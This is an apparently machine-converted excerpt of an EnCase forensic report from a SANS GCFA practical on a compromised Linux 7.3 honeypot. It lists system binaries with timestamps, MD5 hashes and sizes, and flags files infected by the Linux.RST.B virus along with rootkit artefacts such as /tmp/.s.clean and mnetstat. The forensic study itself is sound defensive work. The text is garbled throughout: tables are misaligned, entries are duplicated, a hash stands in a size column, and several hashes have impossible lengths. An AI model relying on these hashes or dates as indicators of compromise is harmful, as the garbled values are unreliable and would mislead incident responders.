<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
</tr>
<tr>
<td>182)</td>
<td>hdx1</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:11PM</td>
</tr>
<tr>
<td>183)</td>
<td>rpm</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rpm</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
</tr>
<tr>
<td>184)</td>
<td>Hard Link Data 1</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
</tr>
<tr>
<td>185)</td>
<td>sort</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sort</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Logical Size 64,291

186) Name stty
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\stty
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/08/02 10:02:12AM
Hash Value 25ed928a929184a6bcc6c12b4adf75
Physical Size 37,888
Logical Size 37,215

187) Name tar
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\tar
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 04/09/02 11:39:13AM
Hash Value 36b826c3993647491db9c5e316ae81b2
Physical Size 164,864
Logical Size 163,999

188) Name sync
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sync
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:00PM
Last Written 03/24/02 07:23:18PM
Hash Value 641c8bf4468f700017add2921fa60d4c
Physical Size 15,360
Logical Size 14,367

189) Name tcsh
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\tcsh
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 06/24/01 09:45:26PM
Hash Value d4a395c4cb342db6ba6ae59453ee4485
Physical Size 297,984
Logical Size 297,363

190) Name ipcalc
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ipcalc
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/19/02 10:35:23AM
Hash Value 63b258da1ed7b7dc3cac6c32d8ff40a
Physical Size 38,912
Logical Size 38,390

191) Name sense
Description File
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment\EnCase Computer Analysis Report**

<table>
<thead>
<tr>
<th>Full Path</th>
<th>Description</th>
<th>Name</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s'sense</td>
<td>File</td>
<td>sleep</td>
<td>4,096</td>
<td>4,060</td>
</tr>
<tr>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sleep</td>
<td>File</td>
<td>sleep</td>
<td>20,480</td>
<td>19,999</td>
</tr>
<tr>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\touch</td>
<td>File</td>
<td>touch</td>
<td>33,792</td>
<td>32,799</td>
</tr>
<tr>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sed</td>
<td>File</td>
<td>sed</td>
<td>60,416</td>
<td>59,612</td>
</tr>
<tr>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1</td>
<td>File</td>
<td>hdx1</td>
<td>728</td>
<td>0</td>
</tr>
<tr>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\x\libgc.so</td>
<td>File</td>
<td>libgc.so</td>
<td>464dc23cac477c43418eb8d3ef087065</td>
<td>4,096</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
### EnCase Computer Analysis Report

**Hash Value**: 68b329da9893e34099c7d8ad5cb9c940
**Physical Size**: 1,024
**Logical Size**: 1

<table>
<thead>
<tr>
<th>Entry</th>
<th>Last Written</th>
<th>Last Accessed</th>
<th>Entry Modified</th>
<th>Hash Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>mount</td>
<td>04/01/02 05:26:24PM</td>
<td>06/30/03 04:55:34PM</td>
<td>06/29/03 03:22:11PM</td>
<td>51e4219c74324b6225ec4a9feb64d0e8</td>
</tr>
<tr>
<td>pgawk</td>
<td>03/18/02 05:25:27AM</td>
<td>06/30/03 04:50:00PM</td>
<td>06/29/03 03:22:11PM</td>
<td>dc46f094dc32c55945a8a91d6c7da4c</td>
</tr>
<tr>
<td>killall</td>
<td>02/28/02 03:09:19PM</td>
<td>06/29/03 03:22:07PM</td>
<td>06/29/03 03:22:11PM</td>
<td>9b8536a36dc974af3264e68dd6c014f0</td>
</tr>
<tr>
<td>login</td>
<td>04/01/02 05:26:23PM</td>
<td>06/30/03 04:50:02PM</td>
<td>06/29/03 03:22:11PM</td>
<td>f7bbee014bea2e758c25ff9d727ef5e82</td>
</tr>
<tr>
<td>login</td>
<td>04/01/02 05:26:23PM</td>
<td>06/30/03 04:50:02PM</td>
<td>06/29/03 03:22:11PM</td>
<td>f7bbee014bea2e758c25ff9d727ef5e82</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>File Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
</tr>
<tr>
<td>----------</td>
<td>-------------</td>
<td>-------------------------------</td>
<td>-----------------</td>
<td>----------------</td>
</tr>
<tr>
<td>nice</td>
<td></td>
<td>Sans GCFA Cert Assignment:/bin/nice</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
</tr>
<tr>
<td>popauth</td>
<td></td>
<td>Sans GCFA Cert Assignment:/bin/popauth</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:22:10PM</td>
</tr>
<tr>
<td>pwd</td>
<td></td>
<td>Sans GCFA Cert Assignment:/bin/pwd</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
</tr>
<tr>
<td>rc.sysinit</td>
<td></td>
<td>Sans GCFA Cert Assignment:/etc/rc.d/rc.sysinit</td>
<td>06/29/03 03:22:09PM</td>
<td>06/30/03 04:45:40PM</td>
</tr>
<tr>
<td>rmdir</td>
<td></td>
<td>Sans GCFA Cert Assignment:/bin/rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
</tr>
<tr>
<td>true</td>
<td></td>
<td>Sans GCFA Cert Assignment:/bin/true</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
</tr>
<tr>
<td>Entry Number</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
</tr>
<tr>
<td>--------------</td>
<td>-----------</td>
<td>-------------</td>
<td>----------------------------------------------------------------------------</td>
<td>----------------</td>
</tr>
<tr>
<td>208</td>
<td>umount</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\umount</td>
<td>06/29/03 03:22:11PM</td>
</tr>
<tr>
<td>209</td>
<td>uname</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\uname</td>
<td>06/29/03 03:22:11PM</td>
</tr>
<tr>
<td>210</td>
<td>usleep</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\usleep</td>
<td>06/29/03 03:22:11PM</td>
</tr>
<tr>
<td>211</td>
<td>vi</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\vi</td>
<td>06/29/03 03:22:11PM</td>
</tr>
</tbody>
</table>
| 212          | install   | File        | Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s.install         | 06/29/03 03:22:08PM | 06/29/03 03:25:21PM | 03/24/03 09:37:31PM | 5ab9ac0a738a778c85f553738f3869d              | 12,288        | }
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment**

**Page 294**

<table>
<thead>
<tr>
<th>Logical Size</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>12,139</td>
<td>grep</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\grep</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/26/02 11:24:50AM</td>
<td>03800b9ba1467bb667ea3d81423614f9</td>
<td>122,880</td>
<td>122,835</td>
</tr>
<tr>
<td></td>
<td>gettext</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\gettext</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/05/02 12:14:26AM</td>
<td>8d1cfcee9be26d6fca3f536502af8744</td>
<td>44,032</td>
<td>43,452</td>
</tr>
<tr>
<td></td>
<td>false</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\false</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>82e9e2b2ecbc475d576a799fa51ab3df</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td></td>
<td>echo</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\echo</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>59a844056de45855afa945cab1fc044d</td>
<td>20,480</td>
<td>19,830</td>
</tr>
<tr>
<td></td>
<td>doexec</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\doexec</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>92999ee2742dcc42e7283c5dc9825922</td>
<td>14,336</td>
<td>13,474</td>
</tr>
<tr>
<td></td>
<td>dmesg</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dmesg</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>92999ee2742dcc42e7283c5dc9825922</td>
<td>14,336</td>
<td>13,474</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Full Path</th>
<th>Description</th>
<th>Name</th>
<th>Date</th>
<th>Modified</th>
<th>Last Access</th>
<th>Written</th>
<th>Hash Value</th>
<th>Physical</th>
<th>Logical</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sans GCFA Cert Assignment</td>
<td></td>
<td></td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:24PM</td>
<td>cf01c9d9574357c27510afff2f1630a7</td>
<td>13,312</td>
<td>12,843</td>
</tr>
<tr>
<td>Linux 7.3 Honey pot system</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/bin/dmesg</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Linux 7.3 Honey pot system</td>
<td></td>
<td></td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>04/08/02 10:02:12AM</td>
<td>35c3004dda5210896d46d2925bc17dea</td>
<td>31,744</td>
<td>30,815</td>
</tr>
<tr>
<td>/bin/date</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Linux 7.3 Honey pot system</td>
<td></td>
<td></td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/22/02 05:02:03PM</td>
<td>6219a330ee1e688ab8068885eb54a65f</td>
<td>29,696</td>
<td>28,810</td>
</tr>
<tr>
<td>/bin/cut</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Linux 7.3 Honey pot system</td>
<td></td>
<td></td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/15/02 08:05:51AM</td>
<td>b5acb19c71a903833d26da5dc5f1ac13</td>
<td>52,224</td>
<td>51,807</td>
</tr>
<tr>
<td>/bin/consolechars</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Linux 7.3 Honey pot system</td>
<td></td>
<td></td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/29/03 03:25:20PM</td>
<td>9e2970e3a76b2440316b6e1a2687cbe</td>
<td>2,048</td>
<td>1,250</td>
</tr>
<tr>
<td>/tmp/.s.clean</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Linux 7.3 Honey pot system</td>
<td></td>
<td></td>
<td></td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/06/02 04:26:29AM</td>
<td>fe2970e3a76b2440316b6e1a2687cbe</td>
<td>2,048</td>
<td>1,250</td>
</tr>
<tr>
<td>Linux 7.3 Honey pot system</td>
<td></td>
<td></td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:02:10AM</td>
<td>06/29/03 03:22:11PM</td>
<td>9e2970e3a76b2440316b6e1a2687cbe</td>
<td>2,048</td>
<td>1,250</td>
</tr>
</tbody>
</table>
Hash Value 8c64e587143854ad0f0772287cba086
Physical Size 30,720
Logical Size 30,102

224) Name cat
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cat
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/22/02 05:02:03PM
Hash Value 52fd1af36d878c9986aa9a225f64ee65
Physical Size 29,696
Logical Size 29,549

225) Name rmt
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\sbin\rmt
Entry Modified 06/30/03 04:45:40PM
Last Accessed 06/20/03 04:07:15PM
Last Written 03/01/02 06:40:43AM
Hash Value d50f6c9ae20a2a19a76026ac9d702d55
Physical Size 378,880
Logical Size 378,827

Files outside root kit infected with Linux RST.B virus

Files infected by the linux.rst.b virus
226) Name mail
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mail
Entry Modified 06/30/03 04:55:50PM
Last Accessed 06/30/03 04:55:50PM
Last Written 06/30/03 04:55:50PM
Hash Value e9762cd89f17ec6e14b09a799fb66ab48
Physical Size 75,776
Logical Size 75,251

227) Name mt
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt
Entry Modified 06/30/03 04:55:50PM
Last Accessed 06/30/03 04:55:50PM
Last Written 06/30/03 04:55:50PM
Hash Value 14465d16b5cfaf91586bd9d0e488d5fd
Physical Size 22,528
Logical Size 21,711

228) Name mt
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt
Entry Modified 06/30/03 04:55:50PM
Last Accessed 06/30/03 04:55:50PM
EnCase Computer Analysis Report

Last Written 06/30/03 04:55:50PM
Hash Value 14465d16fbcfa91586bd9d0e4884d5fd
Physical Size 22,528
Logical Size 21,711

229) Name netstat
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\netstat
   Entry Modified 06/30/03 04:55:50PM
   Last Accessed 06/30/03 04:55:50PM
   Last Written 06/30/03 04:55:50PM
   Hash Value 8a6c03c19c4c93dfca31bcee94ce45da
   Physical Size 39,936
   Logical Size 39,399

230) Name cpio
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cpio
   Entry Modified 06/30/03 04:55:50PM
   Last Accessed 06/30/03 04:55:50PM
   Last Written 06/30/03 04:55:50PM
   Hash Value c61b782df9a5fbae4815ff9ddb574d55
   Physical Size 74,752
   Logical Size 74,031

231) Name bash
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\bash
   Entry Modified 06/19/03 11:34:09AM
   Last Accessed 06/30/03 04:55:47PM
   Last Written 04/12/02 10:09:54AM
   Hash Value 11f4690af5b4e3b56a9477f12aece4f4
   Physical Size 541,696
   Logical Size 541,096

232) Name chgrp
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chgrp
   Entry Modified 06/30/03 04:55:50PM
   Last Accessed 06/30/03 04:55:50PM
   Last Written 06/30/03 04:55:50PM
   Hash Value f4912bdd5af8f8beee53a5c2db1cdceea
   Physical Size 25,600
   Logical Size 25,183

233) Name ed
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ed
   Entry Modified 06/30/03 04:55:50PM
   Last Accessed 06/30/03 04:55:50PM
   Last Written 06/30/03 04:55:50PM
   Hash Value c08b691329e671e3dea363239e2c9d24
   Physical Size 92,160
   Logical Size 91,823
<table>
<thead>
<tr>
<th>Number</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>234)</td>
<td>chown</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chown</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>1e9625aa68abf521f64603af3b8ff8b8</td>
<td>27,648</td>
<td>27,039</td>
</tr>
<tr>
<td>235)</td>
<td>dd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dd</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>6dd588d72847606d6c4f90af6dbb74a</td>
<td>37,888</td>
<td>37,375</td>
</tr>
<tr>
<td>236)</td>
<td>ln</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ln</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>44ac2d1c35045f3f2052d9d21aea75e8</td>
<td>29,696</td>
<td>28,863</td>
</tr>
<tr>
<td>237)</td>
<td>mkdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mkdir</td>
<td>06/29/03 03:39:21PM</td>
<td>06/29/03 03:41:11PM</td>
<td>06/29/03 03:39:21PM</td>
<td>7aae71b278f929d854f489fda2f98fd</td>
<td>23,552</td>
<td>22,655</td>
</tr>
<tr>
<td>238)</td>
<td>mv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mv</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>d45155beffebb7eeb7aad84d3a</td>
<td>53,248</td>
<td>52,255</td>
</tr>
<tr>
<td>239)</td>
<td>egrep</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\egrep</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Entry Modified 06/19/03 11:34:42AM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/26/02 11:24:49AM
Hash Value 1a1c4e75e82a51bc570350aa22184913
Physical Size 1,024
Logical Size 33

240) Name: mnetstat
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mnetstat
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/30/03 04:50:02PM
Last Written 06/29/03 03:25:20PM
Hash Value: 3939b3986c7342c121aa395a658a5232
Physical Size: 109,568
Logical Size: 108,932

241) Name: bzip2recover
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value: 5d50b7a01bbf832876e7092dc91d70f4
Physical Size: 16,384
Logical Size: 15,624

242) Name: gencat
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value: 84492adb4dddeccff3e3c8a30c99725b
Physical Size: 20,480
Logical Size: 18,040

243) Name: gencat
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value: 84492adb4dddeccff3e3c8a30c99725b
Physical Size: 20,480
Logical Size: 18,040

244) Name: getent
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\getent
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value: f1a14ddaf6053137dbda6798ee90f5a9
EnCase Computer Analysis Report

Physical Size 20,480
Logical Size 19,240

245) Name  iconv
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\iconv
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  cfaa21a7bab79204868fa7265a7870e6
Physical Size  53,248
Logical Size  51,004

246) Name  lddlibc4
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lddlibc4
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  2e4e896f0ea9192ef5d94673d79dd403
Physical Size  8,192
Logical Size  7,800

247) Name  localedef
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedef
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  bb5be07bef4f5b4d281cf00e5a4fdbc3
Physical Size  299,008
Logical Size  298,828

248) Name  localedef
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedef
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  bb5be07bef4f5b4d281cf00e5a4fdbc3
Physical Size  299,008
Logical Size  298,828

249) Name  sprof
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\sprof
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  bb5be07bef4f5b4d281cf00e5a4fdbc3
Physical Size  299,008
Logical Size  298,828

250) Name  sprof
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>251) Name</td>
<td>db1_dump185</td>
<td>Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/db1_dump185</td>
<td>Entry Modified: 06/29/03 11:53:01PM</td>
<td>Last Accessed: 06/29/03 11:53:01PM</td>
<td>Last Written: 06/29/03 11:53:01PM</td>
<td>Hash Value: 174712fef4fb412ad992e992e3a35182</td>
<td>Physical Size: 12,288</td>
<td>Logical Size: 11,525</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>252) Name</td>
<td>db1_dump185</td>
<td>Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/db1_dump185</td>
<td>Entry Modified: 06/29/03 11:53:01PM</td>
<td>Last Accessed: 06/29/03 11:53:01PM</td>
<td>Last Written: 06/29/03 11:53:01PM</td>
<td>Hash Value: 174712fef4fb412ad992e992e3a35182</td>
<td>Physical Size: 12,288</td>
<td>Logical Size: 11,525</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>253) Name</td>
<td>lsattr</td>
<td>Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/lsattr</td>
<td>Entry Modified: 06/29/03 11:53:01PM</td>
<td>Last Accessed: 06/29/03 11:53:01PM</td>
<td>Last Written: 06/29/03 11:53:01PM</td>
<td>Hash Value: 56853d1f05a0a1562c83811c02644930</td>
<td>Physical Size: 12,288</td>
<td>Logical Size: 9,684</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>254) Name</td>
<td>lsattr</td>
<td>Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/lsattr</td>
<td>Entry Modified: 06/29/03 11:53:01PM</td>
<td>Last Accessed: 06/29/03 11:53:01PM</td>
<td>Last Written: 06/29/03 11:53:01PM</td>
<td>Hash Value: 56853d1f05a0a1562c83811c02644930</td>
<td>Physical Size: 12,288</td>
<td>Logical Size: 9,684</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>255) Name</td>
<td>eject</td>
<td>Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/eject</td>
<td>Entry Modified: 06/29/03 11:53:01PM</td>
<td>Last Accessed: 06/29/03 11:53:01PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## EnCase Computer Analysis Report

**Sans GCFA Cert Assignment/EnCase Computer Analysis Report**  
Page 302

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Access</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>256)</td>
<td>eject</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/eject</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>85042620b5dd45a67c0280c9a3751793</td>
<td>28,672</td>
<td>25,812</td>
</tr>
<tr>
<td>257)</td>
<td>file</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/file</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>63a4be81d1843be376f98b0986ff836a</td>
<td>49,152</td>
<td>48,674</td>
</tr>
<tr>
<td>258)</td>
<td>file</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/file</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>63a4be81d1843be376f98b0986ff836a</td>
<td>49,152</td>
<td>48,674</td>
</tr>
<tr>
<td>259)</td>
<td>ksymoops</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/ksymoops</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>0d9ddca9a28dccc0313ac4012f20c6c31</td>
<td>450,560</td>
<td>448,456</td>
</tr>
<tr>
<td>260)</td>
<td>ksymoops</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/ksymoops</td>
